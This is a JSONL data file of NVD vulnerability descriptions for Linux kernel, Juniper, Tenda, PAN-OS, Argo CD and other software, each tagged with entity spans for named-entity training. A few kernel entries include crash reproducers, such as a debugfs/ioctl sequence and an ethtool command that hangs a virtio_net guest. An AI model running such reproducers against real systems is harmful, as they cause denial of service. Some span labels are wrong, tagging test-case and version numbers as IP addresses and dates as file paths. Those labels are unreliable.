"cve_id": "CVE-2025-40007"}}
{"text": "An Improper Check for Unusual or Exceptional Conditions in the Packet Forwarding Engine (pfe) of Juniper Networks Junos OS Evolved on PTX10003 Series allows an unauthenticated adjacent attacker to cause an impact to the integrity of the system.\n\nWhen specific transit MPLS packets are received by the PFE, these packets are internally forwarded to the RE. This issue is a prerequisite for CVE-2023-44195.\n\nThis issue affects Juniper Networks Junos OS Evolved:\n\n\n\n  *  All versions prior to 20.4R3-S8-EVO;\n  *  21.1-EVO version 21.1R1-EVO and later;\n  *  21.2-EVO versions prior to 21.2R3-S6-EVO;\n  *  21.3-EVO version 21.3R1-EVO and later;\n  *  21.4-EVO versions prior to 21.4R3-S3-EVO;\n  *  22.1-EVO versions prior to 22.1R3-S4-EVO;\n  *  22.2-EVO versions prior to 22.2R3-S3-EVO;\n  *  22.3-EVO versions prior to 22.3R2-S2-EVO, 22.3R3-EVO;\n  *  22.4-EVO versions prior to 22.4R2-EVO.", "spans": {"CVE_ID: CVE-2023-44195": [[389, 403]], "ORGANIZATION: Juniper": [[97, 104], [425, 432]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-44196"}}
{"text": "GitHub Desktop is an open-source, Electron-based GitHub app designed for git development. Prior to version 3.4.20-beta3, an attacker convincing a user to view a file in a commit of their making in the history view can cause information disclosure by means of Git attempting to access a network share. This affects GitHub Desktop users on Windows that view malicious commits in the history view. macOS users are not affected. When viewing a file diff in the history view GitHub Desktop will call `git log` or `git diff` with the object id (SHA) of the commit, the name of the file, and the old name of the file if the file has been renamed. As a security precaution Git will attempt to fully resolve the old and new path via `realpath`, traversing symlinks, to ensure that the resolved paths reside within the repository working directory. This can lead to Git attempting to access a path that resides on a network share (UNC path) and in doing so Windows will attempt to perform NTLM authentication which passes information such as the computer name, the currently signed in (Windows) user name, and an NTLM hash. GitHub Desktop 3.4.20 and later fix this vulnerability. The beta channel includes the fix in 3.4.20-beta3. As a workaround to use until upgrading is possible, only browse commits in the history view that comes from trusted sources.", "spans": {"SYSTEM: Windows": [[338, 345], [947, 954], [1076, 1083]], "SYSTEM: macOS": [[395, 400]], "ORGANIZATION: GitHub": [[0, 6], [49, 55], [314, 320], [470, 476], [1114, 1120]], "VULNERABILITY: information disclosure": [[224, 246]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-48064"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to invalidate dcc->f2fs_issue_discard in error path\n\nSyzbot reports a NULL pointer dereference issue as below:\n\n __refcount_add include/linux/refcount.h:193 [inline]\n __refcount_inc include/linux/refcount.h:250 [inline]\n refcount_inc include/linux/refcount.h:267 [inline]\n get_task_struct include/linux/sched/task.h:110 [inline]\n kthread_stop+0x34/0x1c0 kernel/kthread.c:703\n f2fs_stop_discard_thread+0x3c/0x5c fs/f2fs/segment.c:1638\n kill_f2fs_super+0x5c/0x194 fs/f2fs/super.c:4522\n deactivate_locked_super+0x70/0xe8 fs/super.c:332\n deactivate_super+0xd0/0xd4 fs/super.c:363\n cleanup_mnt+0x1f8/0x234 fs/namespace.c:1186\n __cleanup_mnt+0x20/0x30 fs/namespace.c:1193\n task_work_run+0xc4/0x14c kernel/task_work.c:177\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0x26c/0xbe0 kernel/exit.c:795\n do_group_exit+0x60/0xe8 kernel/exit.c:925\n __do_sys_exit_group kernel/exit.c:936 [inline]\n __se_sys_exit_group kernel/exit.c:934 [inline]\n __wake_up_parent+0x0/0x40 kernel/exit.c:934\n __invoke_syscall arch/arm64/kernel/syscall.c:38 [inline]\n invoke_syscall arch/arm64/kernel/syscall.c:52 [inline]\n el0_svc_common+0x138/0x220 arch/arm64/kernel/syscall.c:142\n do_el0_svc+0x48/0x164 arch/arm64/kernel/syscall.c:206\n el0_svc+0x58/0x150 arch/arm64/kernel/entry-common.c:636\n el0t_64_sync_handler+0x84/0xf0 arch/arm64/kernel/entry-common.c:654\n el0t_64_sync+0x18c/0x190 arch/arm64/kernel/entry.S:581\n\nThe root cause of this issue is in error path of f2fs_start_discard_thread(),\nit missed to invalidate dcc->f2fs_issue_discard, later kthread_stop() may\naccess invalid pointer.", "spans": {"FILEPATH: /linux/refcount.h": [[214, 231], [268, 285], [320, 337]], "FILEPATH: /linux/sched/task.h": [[375, 394]], "FILEPATH: /f2fs/segment.c": [[492, 507]], "FILEPATH: /f2fs/super.c": [[543, 556]], "FILEPATH: /linux/task_work.h": [[817, 835]], "FILEPATH: /arm64/kernel/syscall.c": [[1093, 1116], [1149, 1172], [1217, 1240], [1272, 1295]], "FILEPATH: /arm64/kernel/entry-common.c": [[1324, 1352], [1393, 1421]], "FILEPATH: /arm64/kernel/entry.S": [[1456, 1477]], "FILEPATH: kthread.c": [[440, 449]], "FILEPATH: super.c": [[600, 607], [643, 650]], "FILEPATH: namespace.c": [[683, 694], [728, 739]], "FILEPATH: task_work.c": [[778, 789]], "FILEPATH: exit.c": [[876, 882], [919, 925], [958, 964], [1006, 1012], [1060, 1066]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[149, 173]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50620"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/dp: populate connector of struct dp_panel\n\nDP CTS test case 4.2.2.6 has valid edid with bad checksum on purpose\nand expect DP source return correct checksum. During drm edid read,\ncorrect edid checksum is calculated and stored at\nconnector::real_edid_checksum.\n\nThe problem is struct dp_panel::connector never be assigned, instead the\nconnector is stored in struct msm_dp::connector. When we run compliance\ntesting test case 4.2.2.6 dp_panel_handle_sink_request() won't have a valid\nedid set in struct dp_panel::edid so we'll try to use the connectors\nreal_edid_checksum and hit a NULL pointer dereference error because the\nconnector pointer is never assigned.\n\nChanges in V2:\n-- populate panel connector at msm_dp_modeset_init() instead of at dp_panel_read_sink_caps()\n\nChanges in V3:\n-- remove unhelpful kernel crash trace commit text\n-- remove renaming dp_display parameter to dp\n\nChanges in V4:\n-- add more details to commit text\n\nChanges in v10:\n--  group into one series\n\nChanges in v11:\n-- drop drm/msm/dp: dp_link_parse_sink_count() return immediately if aux read\n\nSignee-off-by: Kuogee Hsieh <quic_khsieh@quicinc.com>", "spans": {"IP_ADDRESS: 4.2.2.6": [[137, 144], [502, 509]], "DOMAIN: quicinc.com": [[1191, 1202]], "FILEPATH: /msm/dp": [[72, 79], [1082, 1089]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[658, 682]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49221"}}
{"text": "A Heap-based Buffer Overflow vulnerability exists in JerryScript 2.4.0 and prior versions via an out-of-bounds read in parser_parse_for_statement_start in the js-parser-statm.c file. This issue is similar to CVE-2020-29657.", "spans": {"CVE_ID: CVE-2020-29657": [[208, 222]], "FILEPATH: statm.c": [[169, 176]], "VULNERABILITY: Heap-based Buffer Overflow": [[2, 28]], "VULNERABILITY: out-of-bounds read": [[97, 115]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-43453"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvirtio_net: Do not send RSS key if it is not supported\n\nThere is a bug when setting the RSS options in virtio_net that can break\nthe whole machine, getting the kernel into an infinite loop.\n\nRunning the following command in any QEMU virtual machine with virtionet\nwill reproduce this problem:\n\n    # ethtool -X eth0  hfunc toeplitz\n\nThis is how the problem happens:\n\n1) ethtool_set_rxfh() calls virtnet_set_rxfh()\n\n2) virtnet_set_rxfh() calls virtnet_commit_rss_command()\n\n3) virtnet_commit_rss_command() populates 4 entries for the rss\nscatter-gather\n\n4) Since the command above does not have a key, then the last\nscatter-gatter entry will be zeroed, since rss_key_size == 0.\nsg_buf_size = vi->rss_key_size;\n\n5) This buffer is passed to qemu, but qemu is not happy with a buffer\nwith zero length, and do the following in virtqueue_map_desc() (QEMU\nfunction):\n\n  if (!sz) {\n      virtio_error(vdev, \"virtio: zero sized buffers are not allowed\");\n\n6) virtio_error() (also QEMU function) set the device as broken\n\n    vdev->broken = true;\n\n7) Qemu bails out, and do not repond this crazy kernel.\n\n8) The kernel is waiting for the response to come back (function\nvirtnet_send_command())\n\n9) The kernel is waiting doing the following :\n\n      while (!virtqueue_get_buf(vi->cvq, &tmp) &&\n\t     !virtqueue_is_broken(vi->cvq))\n\t      cpu_relax();\n\n10) None of the following functions above is true, thus, the kernel\nloops here forever. Keeping in mind that virtqueue_is_broken() does\nnot look at the qemu `vdev->broken`, so, it never realizes that the\nvitio is broken at QEMU side.\n\nFix it by not sending RSS commands if the feature is not available in\nthe device.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[297, 301], [913, 917], [1040, 1044], [1633, 1637]], "VULNERABILITY: infinite loop": [[244, 257]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35981"}}
{"text": "An issue was discovered on Tenda AC6 V1.0 V15.03.05.19_multi_TD01, AC9 V1.0 V15.03.05.19(6318)_CN, AC9 V3.0 V15.03.06.42_multi, AC15 V1.0 V15.03.05.19_multi_TD01, and AC18 V15.03.05.19(6318_)_CN devices. There is a buffer overflow vulnerability in the router's web server -- httpd. While processing the /goform/setcfm funcpara1 parameter for a POST request, a value is directly used in a sprintf to a local variable placed on the stack, which overwrites the return address of a function. An attacker can construct a payload to carry out arbitrary code execution attacks.", "spans": {"FILEPATH: /goform/setcfm": [[303, 317]], "ORGANIZATION: Tenda": [[27, 32]], "VULNERABILITY: buffer overflow": [[215, 230]], "VULNERABILITY: code execution": [[547, 561]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-13392"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: zero i_disksize when initializing the bootloader inode\n\nIf the boot loader inode has never been used before, the\nEXT4_IOC_SWAP_BOOT inode will initialize it, including setting the\ni_size to 0.  However, if the \"never before used\" boot loader has a\nnon-zero i_size, then i_disksize will be non-zero, and the\ninconsistency between i_size and i_disksize can trigger a kernel\nwarning:\n\n WARNING: CPU: 0 PID: 2580 at fs/ext4/file.c:319\n CPU: 0 PID: 2580 Comm: bb Not tainted 6.3.0-rc1-00004-g703695902cfa\n RIP: 0010:ext4_file_write_iter+0xbc7/0xd10\n Call Trace:\n  vfs_write+0x3b1/0x5c0\n  ksys_write+0x77/0x160\n  __x64_sys_write+0x22/0x30\n  do_syscall_64+0x39/0x80\n\nReproducer:\n 1. create corrupted image and mount it:\n       mke2fs -t ext4 /tmp/foo.img 200\n       debugfs -wR \"sif <5> size 25700\" /tmp/foo.img\n       mount -t ext4 /tmp/foo.img /mnt\n       cd /mnt\n       echo 123 > file\n 2. Run the reproducer program:\n       posix_memalign(&buf, 1024, 1024)\n       fd = open(\"file\", O_RDWR | O_DIRECT);\n       ioctl(fd, EXT4_IOC_SWAP_BOOT);\n       write(fd, buf, 1024);\n\nFix this by setting i_disksize as well as i_size to zero when\ninitiaizing the boot loader inode.", "spans": {"FILEPATH: /ext4/file.c": [[489, 501]], "FILEPATH: /tmp/foo.img": [[810, 822], [867, 879], [901, 913]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53101"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nchar: tpm: Protect tpm_pm_suspend with locks\n\nCurrently tpm transactions are executed unconditionally in\ntpm_pm_suspend() function, which may lead to races with other tpm\naccessors in the system.\n\nSpecifically, the hw_random tpm driver makes use of tpm_get_random(),\nand this function is called in a loop from a kthread, which means it's\nnot frozen alongside userspace, and so can race with the work done\nduring system suspend:\n\n  tpm tpm0: tpm_transmit: tpm_recv: error -52\n  tpm tpm0: invalid TPM_STS.x 0xff, dumping stack for forensics\n  CPU: 0 PID: 1 Comm: init Not tainted 6.1.0-rc5+ #135\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.0-20220807_005459-localhost 04/01/2014\n  Call Trace:\n   tpm_tis_status.cold+0x19/0x20\n   tpm_transmit+0x13b/0x390\n   tpm_transmit_cmd+0x20/0x80\n   tpm1_pm_suspend+0xa6/0x110\n   tpm_pm_suspend+0x53/0x80\n   __pnp_bus_suspend+0x35/0xe0\n   __device_suspend+0x10f/0x350\n\nFix this by calling tpm_try_get_ops(), which itself is a wrapper around\ntpm_chip_start(), but takes the appropriate mutex.\n\n[Jason: reworked commit message, added metadata]", "spans": {"FILEPATH: /01/2014": [[757, 765]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[680, 684]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48997"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: fix lacks of icsk_syn_mss with IPPROTO_SMC\n\nEric report a panic on IPPROTO_SMC, and give the facts\nthat when INET_PROTOSW_ICSK was set, icsk->icsk_sync_mss must be set too.\n\nBug: Unable to handle kernel NULL pointer dereference at virtual address\n0000000000000000\nMem abort info:\nESR = 0x0000000086000005\nEC = 0x21: IABT (current EL), IL = 32 bits\nSET = 0, FnV = 0\nEA = 0, S1PTW = 0\nFSC = 0x05: level 1 translation fault\nuser pgtable: 4k pages, 48-bit VAs, pgdp=00000001195d1000\n[0000000000000000] pgd=0800000109c46003, p4d=0800000109c46003,\npud=0000000000000000\nInternal error: Oops: 0000000086000005 [#1] PREEMPT SMP\nModules linked in:\nCPU: 1 UID: 0 PID: 8037 Comm: syz.3.265 Not tainted\n6.11.0-rc7-syzkaller-g5f5673607153 #0\nHardware name: Google Google Compute Engine/Google Compute Engine,\nBIOS Google 08/06/2024\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : 0x0\nlr : cipso_v4_sock_setattr+0x2a8/0x3c0 net/ipv4/cipso_ipv4.c:1910\nsp : ffff80009b887a90\nx29: ffff80009b887aa0 x28: ffff80008db94050 x27: 0000000000000000\nx26: 1fffe0001aa6f5b3 x25: dfff800000000000 x24: ffff0000db75da00\nx23: 0000000000000000 x22: ffff0000d8b78518 x21: 0000000000000000\nx20: ffff0000d537ad80 x19: ffff0000d8b78000 x18: 1fffe000366d79ee\nx17: ffff8000800614a8 x16: ffff800080569b84 x15: 0000000000000001\nx14: 000000008b336894 x13: 00000000cd96feaa x12: 0000000000000003\nx11: 0000000000040000 x10: 00000000000020a3 x9 : 1fffe0001b16f0f1\nx8 : 0000000000000000 x7 : 0000000000000000 x6 : 000000000000003f\nx5 : 0000000000000040 x4 : 0000000000000001 x3 : 0000000000000000\nx2 : 0000000000000002 x1 : 0000000000000000 x0 : ffff0000d8b78000\nCall trace:\n0x0\nnetlbl_sock_setattr+0x2e4/0x338 net/netlabel/netlabel_kapi.c:1000\nsmack_netlbl_add+0xa4/0x154 security/smack/smack_lsm.c:2593\nsmack_socket_post_create+0xa8/0x14c security/smack/smack_lsm.c:2973\nsecurity_socket_post_create+0x94/0xd4 security/security.c:4425\n__sock_create+0x4c8/0x884 net/socket.c:1587\nsock_create net/socket.c:1622 [inline]\n__sys_socket_create net/socket.c:1659 [inline]\n__sys_socket+0x134/0x340 net/socket.c:1706\n__do_sys_socket net/socket.c:1720 [inline]\n__se_sys_socket net/socket.c:1718 [inline]\n__arm64_sys_socket+0x7c/0x94 net/socket.c:1718\n__invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]\ninvoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:49\nel0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:132\ndo_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:151\nel0_svc+0x54/0x168 arch/arm64/kernel/entry-common.c:712\nel0t_64_sync_handler+0x84/0xfc arch/arm64/kernel/entry-common.c:730\nel0t_64_sync+0x190/0x194 arch/arm64/kernel/entry.S:598\nCode: ???????? ???????? ???????? ???????? (????????)\n---[ end trace 0000000000000000 ]---\n\nThis patch add a toy implementation that performs a simple return to\nprevent such panic. This is because MSS can be set in sock_create_kern\nor smc_setsockopt, similar to how it's done in AF_SMC. However, for\nAF_SMC, there is currently no way to synchronize MSS within\n__sys_connect_file. This toy implementation lays the groundwork for us\nto support such feature for IPPROTO_SMC in the future.", "spans": {"FILEPATH: /06/2024": [[887, 895]], "FILEPATH: /ipv4/cipso_ipv4.c": [[1011, 1029]], "FILEPATH: /netlabel/netlabel_kapi.c": [[1768, 1793]], "FILEPATH: /smack/smack_lsm.c": [[1835, 1853], [1903, 1921]], "FILEPATH: /arm64/kernel/syscall.c": [[2317, 2340], [2383, 2406], [2441, 2464], [2494, 2517]], "FILEPATH: /arm64/kernel/entry-common.c": [[2545, 2573], [2613, 2641]], "FILEPATH: /arm64/kernel/entry.S": [[2675, 2696]], "FILEPATH: security.c": [[1974, 1984]], "FILEPATH: socket.c": [[2020, 2028], [2050, 2058], [2097, 2105], [2149, 2157], [2183, 2191], [2226, 2234], [2282, 2290]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[821, 827], [828, 834], [850, 856], [878, 884]], "VULNERABILITY: NULL pointer dereference": [[281, 305]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50034"}}
{"text": "When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.", "spans": {"SYSTEM: GlobalProtect": [[944, 957], [967, 980], [989, 1002], [1168, 1181], [1192, 1205]], "SYSTEM: PAN-OS": [[193, 199], [414, 420], [447, 453], [461, 467], [494, 500], [508, 514], [541, 547], [576, 582], [621, 627], [1054, 1060], [1754, 1760], [1863, 1869]], "ORGANIZATION: Palo Alto Networks": [[2292, 2310]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2021"}}
{"text": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All versions of Argo CD starting with v1.3.0 are vulnerable to a symlink following bug allowing a malicious user with repository write access to leak sensitive YAML files from Argo CD's repo-server. A malicious Argo CD user with write access for a repository which is (or may be) used in a Helm-type Application may commit a symlink which points to an out-of-bounds file. If the target file is a valid YAML file, the attacker can read the contents of that file. Sensitive files which could be leaked include manifest files from other Applications' source repositories (potentially decrypted files, if you are using a decryption plugin) or any YAML-formatted secrets which have been mounted as files on the repo-server. Patches for this vulnerability has been released in the following Argo CD versions: v2.4.1, v2.3.5, v2.2.10 and v2.1.16. If you are using a version >=v2.3.0 and do not have any Helm-type Applications you may disable the Helm config management tool as a workaround.", "spans": {"SYSTEM: Kubernetes": [[62, 72]], "VULNERABILITY: symlink": [[139, 146], [399, 406]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31036"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nXArray: Fix xas_create_range() when multi-order entry present\n\nIf there is already an entry present that is of order >= XA_CHUNK_SHIFT\nwhen we call xas_create_range(), xas_create_range() will misinterpret\nthat entry as a node and dereference xa_node->parent, generally leading\nto a crash that looks something like this:\n\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000001:\n0000 [#1] PREEMPT SMP KASAN\nKASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]\nCPU: 0 PID: 32 Comm: khugepaged Not tainted 5.17.0-rc8-syzkaller-00003-g56e337f2cf13 #0\nRIP: 0010:xa_parent_locked include/linux/xarray.h:1207 [inline]\nRIP: 0010:xas_create_range+0x2d9/0x6e0 lib/xarray.c:725\n\nIt's deterministically reproducable once you know what the problem is,\nbut producing it in a live kernel requires khugepaged to hit a race.\nWhile the problem has been present since xas_create_range() was\nintroduced, I'm not aware of a way to hit it before the page cache was\nconverted to use multi-index entries.", "spans": {"FILEPATH: /linux/xarray.h": [[692, 707]], "FILEPATH: xarray.c": [[765, 773]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49152"}}
{"text": "Szafir SDK Web is a browser plug-in that can run SzafirHost application which download the necessary files when launched.\nIn Szafir SDK Web it is possible to change the URL (HTTP Origin) of the application call location. An unauthenticated attacker can craft a website that is able to launch SzafirHost application with arbitrary arguments via Szafir SDK Web browser addon. No validation will be performed to check whether the address specified in `document_base_url` parameter is in any way related to the actual address of the calling web application. The URL address specified in `document_base_url` parameter is then shown in the application confirmation prompt. When a victim confirms the execution of the application, it will be called in the context of attacker's website URL and might download additional files and libraries from that website. When victim accepts the application execution for the URL showed in the confirmation prompt with the \"remember\" option before, the prompt won't be shown and the application will be called in the context of URL provided by the attacker without any interaction.\n\nThis issue was fixed in version 0.0.17.4.", "spans": {"IP_ADDRESS: 0.0.17.4": [[1145, 1153]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26927"}}
{"text": "A vulnerability has been identified in APOGEE PXC Compact (BACnet) (All versions < V3.5.5), APOGEE PXC Compact (P2 Ethernet) (All versions < V2.8.20), APOGEE PXC Modular (BACnet) (All versions < V3.5.5), APOGEE PXC Modular (P2 Ethernet) (All versions < V2.8.20), Nucleus NET (All versions < V5.2), Nucleus Source Code (Versions including affected DNS modules), TALON TC Compact (BACnet) (All versions < V3.5.5), TALON TC Modular (BACnet) (All versions < V3.5.5). The DNS domain name record decompression functionality does not properly validate the pointer offset values. The parsing of malformed responses could result in a write past the end of an allocated structure. An attacker with a privileged position in the network could leverage this vulnerability to execute code in the context of the current process or cause a denial-of-service condition.", "spans": {"VULNERABILITY: denial-of-service": [[824, 841]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27009"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerspan: make sure erspan_base_hdr is present in skb->head\n\nsyzbot reported a problem in ip6erspan_rcv() [1]\n\nIssue is that ip6erspan_rcv() (and erspan_rcv()) no longer make\nsure erspan_base_hdr is present in skb linear part (skb->head)\nbefore getting @ver field from it.\n\nAdd the missing pskb_may_pull() calls.\n\nv2: Reload iph pointer in erspan_rcv() after pskb_may_pull()\n    because skb->head might have changed.\n\n[1]\n\n BUG: KMSAN: uninit-value in pskb_may_pull_reason include/linux/skbuff.h:2742 [inline]\n BUG: KMSAN: uninit-value in pskb_may_pull include/linux/skbuff.h:2756 [inline]\n BUG: KMSAN: uninit-value in ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline]\n BUG: KMSAN: uninit-value in gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610\n  pskb_may_pull_reason include/linux/skbuff.h:2742 [inline]\n  pskb_may_pull include/linux/skbuff.h:2756 [inline]\n  ip6erspan_rcv net/ipv6/ip6_gre.c:541 [inline]\n  gre_rcv+0x11f8/0x1930 net/ipv6/ip6_gre.c:610\n  ip6_protocol_deliver_rcu+0x1d4c/0x2ca0 net/ipv6/ip6_input.c:438\n  ip6_input_finish net/ipv6/ip6_input.c:483 [inline]\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ip6_input+0x15d/0x430 net/ipv6/ip6_input.c:492\n  ip6_mc_input+0xa7e/0xc80 net/ipv6/ip6_input.c:586\n  dst_input include/net/dst.h:460 [inline]\n  ip6_rcv_finish+0x955/0x970 net/ipv6/ip6_input.c:79\n  NF_HOOK include/linux/netfilter.h:314 [inline]\n  ipv6_rcv+0xde/0x390 net/ipv6/ip6_input.c:310\n  __netif_receive_skb_one_core net/core/dev.c:5538 [inline]\n  __netif_receive_skb+0x1da/0xa00 net/core/dev.c:5652\n  netif_receive_skb_internal net/core/dev.c:5738 [inline]\n  netif_receive_skb+0x58/0x660 net/core/dev.c:5798\n  tun_rx_batched+0x3ee/0x980 drivers/net/tun.c:1549\n  tun_get_user+0x5566/0x69e0 drivers/net/tun.c:2002\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048\n  call_write_iter include/linux/fs.h:2108 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb63/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xe0 fs/read_write.c:652\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was created at:\n  slab_post_alloc_hook mm/slub.c:3804 [inline]\n  slab_alloc_node mm/slub.c:3845 [inline]\n  kmem_cache_alloc_node+0x613/0xc50 mm/slub.c:3888\n  kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:577\n  __alloc_skb+0x35b/0x7a0 net/core/skbuff.c:668\n  alloc_skb include/linux/skbuff.h:1318 [inline]\n  alloc_skb_with_frags+0xc8/0xbf0 net/core/skbuff.c:6504\n  sock_alloc_send_pskb+0xa81/0xbf0 net/core/sock.c:2795\n  tun_alloc_skb drivers/net/tun.c:1525 [inline]\n  tun_get_user+0x209a/0x69e0 drivers/net/tun.c:1846\n  tun_chr_write_iter+0x3af/0x5d0 drivers/net/tun.c:2048\n  call_write_iter include/linux/fs.h:2108 [inline]\n  new_sync_write fs/read_write.c:497 [inline]\n  vfs_write+0xb63/0x1520 fs/read_write.c:590\n  ksys_write+0x20f/0x4c0 fs/read_write.c:643\n  __do_sys_write fs/read_write.c:655 [inline]\n  __se_sys_write fs/read_write.c:652 [inline]\n  __x64_sys_write+0x93/0xe0 fs/read_write.c:652\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nCPU: 1 PID: 5045 Comm: syz-executor114 Not tainted 6.9.0-rc1-syzkaller-00021-g962490525cff #0", "spans": {"FILEPATH: /linux/skbuff.h": [[547, 562], [627, 642], [836, 851], [889, 904], [2536, 2551]], "FILEPATH: /ipv6/ip6_gre.c": [[703, 718], [786, 801], [938, 953], [994, 1009]], "FILEPATH: /ipv6/ip6_input.c": [[1058, 1075], [1102, 1119], [1209, 1226], [1261, 1278], [1358, 1375], [1453, 1470]], "FILEPATH: /linux/netfilter.h": [[1150, 1168], [1396, 1414]], "FILEPATH: /net/dst.h": [[1302, 1312]], "FILEPATH: /core/dev.c": [[1509, 1520], [1572, 1583], [1621, 1632], [1681, 1692]], "FILEPATH: /net/tun.c": [[1734, 1744], [1786, 1796], [1842, 1852], [2702, 2712], [2763, 2773], [2819, 2829]], "FILEPATH: /linux/fs.h": [[1883, 1894], [2860, 2871]], "FILEPATH: /core/skbuff.c": [[2450, 2464], [2498, 2512], [2603, 2617]], "FILEPATH: /core/sock.c": [[2661, 2673]], "FILEPATH: read_write.c": [[1929, 1941], [1983, 1995], [2028, 2040], [2065, 2077], [2111, 2123], [2168, 2180], [2906, 2918], [2960, 2972], [3005, 3017], [3042, 3054], [3088, 3100], [3145, 3157]], "FILEPATH: slub.c": [[2303, 2309], [2345, 2351], [2405, 2411]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-35888"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrtl818x: Prevent using not initialized queues\n\nUsing not existing queues can panic the kernel with rtl8180/rtl8185 cards.\nIgnore the skb priority for those cards, they only have one tx queue. Pierre\nAsselin (pa@panix.com) reported the kernel crash in the Gentoo forum:\n\nhttps://forums.gentoo.org/viewtopic-t-1147832-postdays-0-postorder-asc-start-25.html\n\nHe also confirmed that this patch fixes the issue. In summary this happened:\n\nAfter updating wpa_supplicant from 2.9 to 2.10 the kernel crashed with a\n\"divide error: 0000\" when connecting to an AP. Control port tx now tries to\nuse IEEE80211_AC_VO for the priority, which wpa_supplicants starts to use in\n2.10.\n\nSince only the rtl8187se part of the driver supports QoS, the priority\nof the skb is set to IEEE80211_AC_BE (2) by mac80211 for rtl8180/rtl8185\ncards.\n\nrtl8180 is then unconditionally reading out the priority and finally crashes on\ndrivers/net/wireless/realtek/rtl818x/rtl8180/dev.c line 544 without this\npatch:\n\tidx = (ring->idx + skb_queue_len(&ring->queue)) % ring->entries\n\n\"ring->entries\" is zero for rtl8180/rtl8185 cards, tx_ring[2] never got\ninitialized.", 